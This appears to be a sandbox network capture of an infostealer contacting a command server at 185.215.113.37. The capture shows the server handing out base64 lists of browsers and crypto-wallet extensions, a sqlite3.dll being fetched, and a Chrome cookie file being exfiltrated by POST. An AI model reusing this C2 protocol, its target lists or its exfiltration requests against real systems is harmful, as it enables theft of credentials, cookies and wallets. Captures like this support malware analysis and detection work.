Oct 8, 2024 03:22:06.018867016 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"browsers------HDAKJDHIEBFIIDGDGDBA--
Oct 8, 2024 03:22:06.239523888 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 03:22:06.239576101 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 03:22:06.240948915 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"plugins------AAFIIJDAAAAKFHIDAAAK--
Oct 8, 2024 03:22:06.461103916 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 03:22:06.461133003 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 8, 2024 03:22:06.461147070 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 8, 2024 03:22:06.461170912 CEST	572	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 8, 2024 03:22:06.461205006 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 52 69 59 32 68 76 62 6d 6c 6c 62 47 6c 6b 5a 32 39 69 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 Data Ascii: MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9
Oct 8, 2024 03:22:06.461239100 CEST	1236	IN	Data Raw: 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 Data Ascii: bGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGV
Oct 8, 2024 03:22:06.461275101 CEST	48	IN	Data Raw: 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 Data Ascii: aGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGVi
Oct 8, 2024 03:22:06.547816038 CEST	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Oct 8, 2024 03:22:06.549258947 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"fplugins------DBFHDHJKKJDHJJJJKEGH--
Oct 8, 2024 03:22:06.769973993 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 03:22:06.787153006 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH Host: 185.215.113.37 Content-Length: 6471 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 03:22:06.787173986 CEST	6471	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 8, 2024 03:22:07.513339043 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:07.874574900 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:08.092720032 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 03:22:08.092772007 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 8, 2024 03:22:09.444694996 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------CBKJKJDBFIIDHJKEHJEH--
Oct 8, 2024 03:22:10.157977104 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:10.450064898 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 